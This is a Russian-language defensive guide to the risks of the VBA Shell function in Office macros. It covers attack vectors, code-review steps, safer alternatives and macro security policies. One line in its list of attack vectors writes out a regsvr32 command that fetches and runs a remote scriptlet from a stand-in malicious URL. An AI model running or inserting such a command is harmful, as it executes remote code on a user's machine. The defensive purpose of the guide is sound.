Анализ использования Shell в VBA и связанные угрозы безопасности

Функция Shell в VBA предназначена для запуска внешних исполняемых файлов и командных строк из макросов Office. Её использование легитимно в автоматизации задач, но одновременно открывает путь для выполнения произвольного кода на системе пользователя.

Главный принцип безопасности при работе с Shell — ограничивать запуск только доверенными программами и проверять параметры, передаваемые в функцию, поскольку злоумышленники часто маскируют вредоносные команды под легитимные задачи.

Как работает Shell в VBA

Shell принимает путь к исполняемому файлу и необязательные параметры командной строки, возвращает идентификатор запущенного процесса или ноль при ошибке. Синтаксис выглядит так: Shell(путь, [стиль окна]). Функция не требует ссылок на внешние библиотеки и доступна в любом модуле VBA.

Примеры легитимного применения:

• Запуск утилиты для конвертации файлов.
• Вызов сторонних скриптов для обработки данных.
• Автоматизация резервного копирования через внешние команды.

Почему Shell представляет угрозу

Основная опасность заключается в том, что через Shell можно выполнить любую программу, доступную в операционной системе, включая cmd.exe, powershell.exe, wscript.exe и другие интерпретаторы. Если макрос получает данные от пользователя или из внешних источников (файлы, сетевые ресурсы, формы), злоумышленник может подставить вредоносный путь или параметры, что приведёт к выполнению произвольного кода без дополнительных проверок.

Типичные векторы атаки:

• Встраивание вредоносных команд в параметры, передаваемые из ячейки листа или формы.
• Загрузка и исполнение скриптов из интернета через powershell.exe -EncodedCommand.
• Использование обходных техник, таких как запуск легитимной программы с вредоносными аргументами (например, regsvr32.exe /s /u /i:http://malicious.sct scrobj.dll).

Критерии оценки безопасности использования Shell

При анализе кода VBA следует обращать внимание на следующие аспекты:

• Источник пути к исполняемому файлу — жёстко прописанный путь в коде менее рискован, чем путь, формируемый динамически из переменных, пользовательского ввода или внешних файлов.
• Валидация параметров — проверка того, что передаваемые аргументы соответствуют ожидаемому формату и не содержат подстановок команд или специальных символов.
• Контекст выполнения — макросы, запущенные из доверенного расположения или подписанные цифровой подписью, имеют более высокий уровень доверия.
• Настройки безопасности макросов — если пользователь отключил предупреждения или включил выполнение всех макросов, риск возрастает.

Практический порядок анализа VBA‑проекта на предмет unsafe Shell

1. Выполнить поиск по ключевому слову Shell во всех модулях и классах.
2. Для каждого обнаруженного вызова определить, откуда берётся первый аргумент (путь к executable).
3. Если аргумент формируется динамически, проследить цепочку присваиваний до источника (пользовательский ввод, чтение файла, сетевой запрос).
4. Проверить наличие проверки допустимых значений (белый список, регулярные выражения, сравнение с доверенными путями).
5. Оценить, какие права имеет запускаемый процесс (обычно те же, что и у текущего пользователя Office).
6. Задокументировать места, где требуется дополнительная валидация или замена на более безопасный альтернативный подход (например, использование встроенных объектов модели объектов Office).

Сравнение Shell с другими способами вызова внешнего кода в VBA

Способ	Преимущества	Ограничения и риски
Shell	Простой вызов любого исполняемого файла, поддержка стиля окна.	Требует тщательной проверки аргументов, может обходить политики выполнения скриптов.
WScript.Shell.Run	Позволяет указывать стиль окна и ожидать завершения.	Требует ссылки на Windows Script Host, также подвержен инъекции команд.
PowerShell через Shell	Доступ к богатому набору командлетов.	PowerShell сам по себе часто используется в атаках, необходима строгая политика выполнения.
Встроенные объекты Office (например, Application.FileDialog)	Не требует вызова внешних процессов, работает внутри защищённой среды Office.	Ограничен функциональностью, предоставляемой объектной моделью.

Типичные ошибки при использовании Shell и способы их исправления

• Жёстко прописанный путь к ненадёжной программе. Если путь указывает на утилиту, которую можно заменить злоумышленником (например, в пользовательской директории), следует либо использовать абсолютный путь к системной папке с проверкой версий, либо отказаться от внешнего вызова.
• Отсутствие валидации пользовательского ввода. Любые данные, полученные из форм, листов или внешних файлов, должны проходить через белый список допустимых значений или экранирование специальных символов перед передачей в Shell.
• Отключение предупреждений о макросах. Настройка центра доверенных документов должна оставаться на уровне «Отключать все макросы с уведомлением» для неподписанных кодах, особенно в корпоративной среде.
• Запуск с повышенными привилегиями без необходимости. Если макрос требует прав администратора, это следует обосновать и реализовать через отдельные повышенные процессы, а не через обычный Shell.

Сценарии применения и рекомендуемые действия

Если макрос pochodет из доверенного источника (подписанный, расположен в доверенной папке)

Можно допустить использование Shell для легитимных задач, но всё равно рекомендуется вести журнал вызовов (записывать путь и параметры в файл журнала или событийный журнал Windows) для последующего аудита.

Если макрос получен из ненадёжного источника (электронная почта, интернет, внешний носитель)

Перед включением макросов необходимо:

1. Отключить выполнение макросов или переключить режим на «Отключить все макросы без уведомления».
2. Проверить код на наличие вызовов Shell и других потенциально опасных функций (например, CreateObject, WinAPI).
3. Если Shell действительно требуется, заменить его на безопасный альтернативный метод или реализовать строгую валидацию аргументов.

Если необходимо автоматизировать задачу, требующую вызова внешней утилиты

Предпочтительно:

• Использовать встроенные возможности VBA или объектную модель Office для выполнения задачи.
• Если внешний вызов неизбежен, разместить утилиту в защищённой системной директории и жёстко прописанный путь к ней.
• Подписать VBA‑проект цифровой подписью и распространять только через доверенные каналы.
• Включить журнал аудита процессов в Windows (например, через политику аудита создания процессов) для отслеживания запусков, инициированных из Office.

Практические следующие шаги для разработчика и администратора

1. Провести инвентаризацию всех VBA‑проектов в организации, отметив те, которые используют Shell.
2. Для каждого проекта выполнить анализ источников аргументов, как описано выше.
3. Обновить политики безопасности макросов: требовать подписи для всех макросов, исполняющихся из сети или интернета, и оставлять уведомление для неподписанных.
4. Внедрить централизованное журналирование вызовов Shell (можно через обработчик событий Workbook_Open или UserForm_Initialize, записывающий данные в защищённый лог).
5. Обучить конечных пользователей распознавать подозрительные макросы (неожиданные запросы на включение макросов, макросы из неизвестных отправителей).
6. Регулярно пересматривать список доверенных расположений и сертификатов, удаляя устаревшие записи.

Что делать дальше

После анализа текущего кода и настройки политик безопасности следующим шагом является внедрение регулярного аудита:

• Ежемесячно сканировать VBA‑файлы на наличие новых вызовов Shell.
• Сравнивать найденные вызовы с утверждённым белым списком допустимых программ и параметров.
• При обнаружении отклонений проводить разбор инцидента и, при необходимости, блокировать макрос до устранения уязвимости.

Соблюдение этих мер значительно снижает вероятность того, что легитимный макрос станет вектором для выполнения вредоносного кода через функцию Shell в VBA.